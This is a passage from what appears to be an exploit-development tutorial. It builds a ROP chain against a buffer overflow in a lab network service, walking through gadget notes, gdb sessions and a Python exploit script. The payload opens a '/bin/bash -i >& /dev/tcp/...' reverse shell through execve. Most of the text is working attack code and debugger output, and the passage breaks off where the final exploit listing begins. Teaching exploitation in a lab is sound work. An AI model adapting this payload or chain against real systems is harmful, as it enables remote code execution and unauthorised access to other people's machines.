0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret

Now would be a good time to test the exploit again.

At the end of this we expect ecx and edx to point to the beginning of our pointers, eax should point to our ////bin/bash string which should also be wirrten to the address that ecx and edx points to.

We have also wirtten nulls at the end of our data (but we haven't changed this code and we've already tested it so that should work fine unless we've made a calculation error).

Here is the updated notes:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- write nulls to the end of our data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804
dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
---------------------------------------------------- ecx contains the address of ////bin/bash pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

This is our updated exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the distance to the end of the payload

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write 0 to the end of the data

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the distance to 0xbbbbbbbb

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to 0xbbbbbbbb
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of 0xbbbbbbbb)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Move address value into ecx

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xa2\xdc\x04\x08" # ecx = eax
payload += "\xee\xee\xee\xee"

############### Work out the distance to ////bin/bash string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x62\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= distance to string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of ////bin/bash string and write to pointer

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

payload += "A" * (1000 - (len(payload) - 540)) # 1000 - current size of the payload from the second ROP gadget

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

When we test this we want to break at 0x08083f21, but there are 3 times we are using this gadget so we should continue through the first 2 and then check the values:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
(gdb) delete 2
(gdb) break *0x08083f21
Breakpoint 3 at 0x8083f21
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffe7a4: 0x080a8576  0xaaaaaaaa  0x08057b7e  0xaaaaaa9e
0xbfffe7b4: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe7c4: 0xeeeeeeee  0xeeeeeeee
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) continue
Continuing.
0xbfffe7f4: 0x0807abcc  0x0804dca2  0xeeeeeeee  0x080a8576
0xbfffe804: 0xaaaaaaaa  0x08057b7e  0xaaaaaa62  0x080748fc
0xbfffe814: 0xeeeeeeee  0xeeeeeeee
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) continue
Continuing.
0xbfffe83c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe84c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe85c: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb2c
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0x00000000
(gdb) stepi
0xbfffe83c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe84c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe85c: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb2c
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash\377\377\377\377\377\377-c\377\377\377\377/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1\377\377\377\377,\353\377\277\314\314\314\314\335\335\335", <incomplete sequence \335>

Clearly we can see that we have written the correct address to the pointer and it now points to the correct string.

The reason we have the rest of the stuff there is because the examine command (x) in gdb when printing a string (x/s) stops when the first null is reached and we haven't changed the null termination to the end of the string yet.

Calculating And Writing The Remaining Nulls

We should now go about writing the nulls to the relevant parts in our data, we still have 3 nulls to write, 1 to terminate each of the string arguments.

I will not walk through each of these because I will use the exact same method but it is important to test the exploit at regular intevals to ensure you aren't miscalculating any values because if you do that it will spoil the rest of the exploit.

If it isn't obvious by now, what I'm doing is using edx as a pointer to where I want to write, using eax and ebx to work out the distance from the current value of edx to the next value, then calculating the address of the next value and finally moving that value into edx and writing zero to it.

Here are my notes updated to the point where all of the nulls have been set:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- write nulls to the end of our data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804
dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
---------------------------------------------------- ecx contains the address of ////bin/bash pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- ////bin/bash pointer now contains the correct address of ////bin/bash
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa6 : (0xaaaaaaaa - 4) = distance from ////bin/bash pointer to nearest null termination
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to null termination of 3rd arg
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of null termination of 3rd arg
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- 3rd arg nulls now contain 4 nulls
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa7a : (0xaaaaaaaa - 48) = distance from edx to next nulls
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance from edx to -c nulls
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of -c nulls
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- -c nulls now contain 4 nulls
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa2 : (0xaaaaaaaa - 8) = distance from edx to next nulls
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the last nulls from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of last nulls
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0805638b : mov edi, edx ; ret
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- last nulls now contain 4 nulls

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

At this point all of our strings should be correctly null terminated.

Let's test this, I won't post the exploit script to try and keep the size of this post down a little but all I've done is put the relevant values into the script in the order I've put them in my notes.

To make it easier to break at the end I've put a gadget that I haven't use elsewhere (at 0x808456c) so that I can just break at the end and inspect memory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) delete 3
(gdb) break *0x0808456c
Breakpoint 4 at 0x808456c
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffe930: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe940: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe950: 0x41414141  0x41414141
=> 0x808456c <_dl_get_origin+28>:   mov    ecx,esi

Breakpoint 4, 0x0808456c in _dl_get_origin ()
4: /x $edx = 0xbfffeb38
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) display/x $ecx
5: /x $ecx = 0xbfffeb74
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash"
(gdb) x/s 0xbfffeb2c + 18
0xbfffeb3e:  "-c"
(gdb) x/s 0xbfffeb2c + 18 + 6
0xbfffeb44:  "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"

So our 3 strings are now correctly null terminated.

I calculated the addresses from the value stored at the address that ecx points to (the address of the first pointer that we wrote earlier).

On line 18 I instruct gdb to display the value of ecx, I then use the examine command to display the string at the address contained there.

I then add 18 (the number of bytes until the -c string) and display that string and add another 6 (the number of bytes from that point to the next string) to display the last string.

Writing The Remaining Pointers

As with the code we just wrote I will not go through every step as the method I will use is the same.

I will be working out the address of the first pointer that I need to change (firstly being the pointer to the -c argument string) using eax and ebx and using edx as the point of reference.

I will then be putting that address into edx, working out the address of the string that that pointer should be pointing to using the same method (which stores the address in eax) and then writing the value that eax contains into the address pointed to by edx.

There are 2 pointers that we need to do this for, the pointer to -c and the pointer to the long string (the actual reverse shell).

If you've fully understood the post so far, this should be a reasonably trivial task.

Here is the section of my notes that do this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa6a : (0xaaaaaaaa - 64) = distance from edx to -c arg pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to -c arg pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of -c arg pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now edx contains address of -c arg pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa70 : (0xaaaaaaaa - 58) = distance from edx to -c arg string
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to -c arg string
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the address of -c arg string
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- now the -c arg pointer contains the address of -c string
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa6 : (0xaaaaaaaa - 4) = distance from edx to third arg pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the third pointer
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of third pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- edx contains the address of third pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa72: (0xaaaaaaaa - 56) = distance from edx to third arg string
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the third string
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of third string
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- third pointer contains address of third string

Now all of the pointers should point to the correct strings.

It's time to test it again, I will be using the same breakpoint trick I used last time:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffea38: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffea48: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffea58: 0x41414141  0x41414141
=> 0x808456c <_dl_get_origin+28>:   mov    ecx,esi

Breakpoint 4, 0x0808456c in _dl_get_origin ()
5: /x $ecx = 0xbfffeb74
4: /x $edx = 0xbfffeb7c
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb44
1: /x $ebp = 0xeeeeeeee
(gdb) x/4xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c  0xbfffeb3e  0xbfffeb44  0x00000000
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash"
(gdb) x/s 0xbfffeb3e
0xbfffeb3e:  "-c"
(gdb) x/s 0xbfffeb44
0xbfffeb44:  "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"

Great, so that worked perfectly.

Setting Up The Rest Of The Registers And Inserting The Last Of The Gadgets

We now have everything setup except for the values of the eax, ebx and edx registers.

edx just needs to point to 1 of the nulls that we wrote, ebx should contain the address of the ////bin/bash string and eax should contain the value 11.

We will deal with edx first because we have to use ebx and eax afterwards.

We will then calculate the address that needs to go into ebx.

Lastly we will get 11 into eax and finally run int 0x80.

Here are my full finished notes.

Finishing The Exploit And Testing It

Now that we've got the full size of the exploit we can calculate the size of our code and recalculate the distance from the address that we first receive to our data.

I done this using a python script with all of the gadgets in, you can find that script here.

This shows us that the distance is 908 bytes and not 1000 bytes.

To recalculate this we do the sum 0xaaaaaaaa - (908 + 88) = 0xaaaaa6c6, so this is the new value that we need to pop into ebx at the start of our application to calculate the first address.

Now we have finished writing the exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
